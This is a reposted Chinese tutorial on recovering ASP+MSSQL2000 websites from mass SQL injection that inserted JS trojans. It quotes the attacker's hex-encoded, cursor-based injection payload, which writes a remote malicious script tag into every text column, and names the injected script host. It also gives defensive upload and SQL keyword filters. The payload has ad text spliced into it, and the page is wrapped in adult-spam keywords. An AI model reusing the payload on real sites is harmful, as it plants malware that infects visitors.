激情久久久_欧美视频区_成人av免费_不卡视频一二三区_欧美精品在欧美一区二区少妇_欧美一区二区三区的

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - ASP教程 - ASP+MSSQL2000 數據庫被批量注入后的解決方法

ASP+MSSQL2000 數據庫被批量注入后的解決方法

2019-09-12 11:15asp主機網 ASP教程

這陣子,采用ASP+MSSQL設計的很多網站可能遭遇到sql數據庫被掛馬者插入JS木馬的經歷;這不,朋友的一個網站就被黑客忽悠了一把

mssql的每個varchar、text字段都被自動插入一段js代碼,即使刪除這段代碼,如果沒有從源頭上解決,幾分鐘后,js代碼就又會自動插入數據庫。 
經過飄易的觀察,這很有可能是程序自動執行的,黑客先從搜索引擎google、百度等搜索存在漏洞的采用asp+mssql設計的網站,然后采用小明子這樣的注入掃描工具,掃描整個網站,一旦發現有sql注入的漏洞或者上傳漏洞,黑客就通過各種手段,上傳自己的大馬,如海陽木馬;然后,黑客就把這個網站納入他的肉雞列表,隨時在數據庫里加入自己希望加的js代碼,而這些代碼往往是包含著眾多的的病毒、木馬,最終讓訪問受控網站的用戶的電腦中毒。 
雖然,可以通過sql查詢分析器執行批量代換,暫時解決被插入的js代碼問題,然而不從根本上解決整個網站存在的漏洞,包括程序上和服務器安全權限,那么黑客還是隨時可以入侵你的網站數據庫。 
在sql查詢分析器里可以執行以下的代碼批量替換js代碼: 

復制代碼代碼如下:


“ update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','') ” 


flymorn仔細檢查了網站,發現網站存在幾個安全問題: 
第一,網站存在上傳漏洞;雖然,上傳文件需要管理員身份驗證,也對上傳文件進行了文件格式的認證,但管理員身份驗證采用了cookies,而cookies是可以被偽造的,而且如果上傳了圖片后,不對該文件的內容采取任何判斷的話,那么圖片木馬也很有可能被上傳。 
解決措施:1 刪除上傳文件功能(不太實際);2 修改上傳用戶驗證為session驗證;3 對上傳后的文件內容進行驗證,如果是圖片木馬,則刪除;可以參考以下的驗證代碼:

復制代碼代碼如下:


''===============判斷上傳文件是否含非法字符串start================ 
set MyFile = server.CreateObject("Scripting.FileSystemObject") 
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '讀取文本文件 
sTextAll = lcase(MyText.ReadAll) 
MyText.close 
set MyFile = nothing 
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language=" 
sNoString = split(sStr,"|") 
for i=0 to ubound(sNoString) 
if instr(sTextAll,sNoString(i)) then 
set filedel = server.CreateObject("Scripting.FileSystemObject") 
filedel.deletefile Server.mappath(filePath) 
set filedel = nothing 
Response.Write("<script>alert('您上傳的文件有問題,上傳失敗!');history.back();</script>") 
Response.End 
end if 
next 
''=================判斷上傳文件是否含非法字符串end=================== 


第二,網站存在cookies注入漏洞。由于程序設計中,為了考慮到減小服務器的開銷,所有用戶登陸后采用cookies驗證,這個cookies里保存了用戶的 ID 和 NAME ,而眾所周知,cookies是經常被黑客偽造的,這是其一;另外,某些外部參數 沒有采用嚴格的 request.form 和 request.querystring 來獲取內容,為了簡便,采用了 request("id") 這樣的方式。 

       我們知道,ASP 的request 是先從form、querystring里獲取內容,如果這兩個為空,則要從cookies里獲取內容,大家往往在程序設計中考慮到了 request.form 和 request.querystring 的SQL注入,所以一般都會過濾 request.form 和 request.querystring進行sql注入;但卻偏偏忘了過濾cookies方式下的注入。我們來看下下面這樣的sql語句: 

復制代碼代碼如下:


SQL="select * from 表名 where id="&request("id") 


如果這個 id 恰巧是通過cookies來獲取值的,那么想想,這是一件多么可怕的事啊!注入者可以輕松的偽造一個名為 id 的虛假 cookies ,因為這個 id 的cookies 是服務器分配給它的。這個cookies可以被偽造成類似下面這樣的一段代碼: 

復制代碼代碼如下:


dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6 
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才網(http://it.ad0.cn) 12e6e416d452c622e6e416d 
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6 
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3 
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375 
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768 
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742 
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275 
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537 
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6 
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4 
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);-- 



看暈了吧。這是利用HEX的方式進行SQL注入,可以繞過一般的IDS驗證,只要系統存在SQL注入,上面的代碼將會被執行,通過游標遍歷數據庫中的所有表和列并在列中插入js代碼。 

解決辦法:1 嚴格過濾 request.form 和 request.querystring 獲取的內容,堅決不用 request("name") 這樣的方式獲取值,凡是采用 cookies 保存的內容,盡量不要用在sql語句里進行查詢數據庫操作;2 重要的用戶資料盡量采用 session 驗證,因為session是服務器端的,客戶端無法偽造數 

可以采用以下的防范 get 、post以及cookies 注入的代碼來過濾 sql 注入攻擊:

復制代碼代碼如下:


<% 
Response.Buffer = True '緩存頁面 
'防范get注入 
If Request.QueryString <> "" Then StopInjection(Request.QueryString) 
'防范post注入 
If Request.Form <> "" Then StopInjection(Request.Form) 
'防范cookies注入 
If Request.Cookies <> "" Then StopInjection(Request.Cookies) 

'正則子函數 
Function StopInjection(Values) 
Dim regEx 
Set regEx = New RegExp 
regEx.IgnoreCase = True 
regEx.Global = True 
regEx.Pattern = "'|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)" 
Dim sItem, sValue 
For Each sItem In Values 
sValue = Values(sItem) 
If regEx.Test(sValue) Then 
Response.Write "<Script Language=javascript>alert('非法注入!你的行為已被記錄!!');history.back(-1);</Script>" 
Response.End 
End If 
Next 
Set regEx = Nothing 
End function 
%> 


把以上的代碼另存為一個文件,如 antisql.asp ,然后在數據庫連接文件開頭包含這個文件 <!--#include file="antisql.asp"--> ,就可以實現全站的防范 sql 注入的攻擊了。 

第三,嚴格過濾外部提交數據。判斷提交頁面的來源,如果不是當前站點,則拒絕提交。可以參考以下的代碼,雖然來源網址可以偽造,但有這樣的判斷,畢竟可以阻擋那些沒有技術含量的惡意提交:

復制代碼代碼如下:


<%''判斷來源,禁止外部提交 
dim server_v1,server_v2 
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")) 
server_v2=Cstr(Request.ServerVariables("SERVER_NAME")) 
if server_v1="" or instr(server_v1,"發表頁面名")<=0 or mid(server_v1,8,len(server_v2))<>server_v2 then 
response.write "<SCRIPT language=JavaScript>alert('來源非法,禁止外部提交!');" 
response.write "this.location.href='vbscript:history.back()';</SCRIPT>" 
response.end 
end if%>


第四,做好服務器權限的分配。對于數據庫的權限,盡量分配最小的權限給用戶使用,如果把sa或管理員的權限分下來,一旦被攻擊淪陷,這將是一個毀滅性的打擊。mssql 的1433端口,飄易建議不用的時候,最好關閉。 

       總之
,安全問題是一個綜合的問題,一個小的細節,可能讓你的幾個月甚至幾年的心血付之東流。我們不僅要從程序上著手每個細節,而且要仔細做好服務器的安全工作,對于虛擬主機的用戶,還要防范服務器上的跨站攻擊。細節決定成敗。

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 4p嗯啊巨肉寝室调教男男视频 | 亚洲福利视 | 欧美日韩精品一区二区三区不卡 | 精品久久久久久综合日本 | 国产日韩久久久久69影院 | 午夜天堂在线 | 中文字幕激情 | 国产精品久久久免费观看 | 成人小视频免费在线观看 | 99精品国产小情侣高潮露脸在线 | 依人九九| 99综合视频 | 欧美一级美国一级 | 亚洲一级电影在线观看 | 中文字幕一区二区三区四区 | 最新欧美精品一区二区三区 | 亚洲国产精品久久久 | 国产成人av免费看 | 国产噜噜噜噜久久久久久久久 | 色淫影院| 蜜桃视频最新网址 | 九草网| 国内精品久久久久久2021浪潮 | 久久久久久久久久91 | 黄色特级| 久草在线小说 | 欧洲黄色一级视频 | 亚洲精品午夜国产va久久成人 | 久久成人免费网 | 久久久久久久午夜 | 成人免费在线视频播放 | 中国大陆一级毛片 | 在线观看免费精品 | 国产精品成人久久久久a级 av电影在线免费 | 久久亚洲春色中文字幕久久 | 99久久自偷自偷国产精品不卡 | 午夜久久久精品一区二区三区 | 久毛片 | 羞羞视频在线免费 | 国产91久久久久久 | 蜜桃视频在线免费观看 |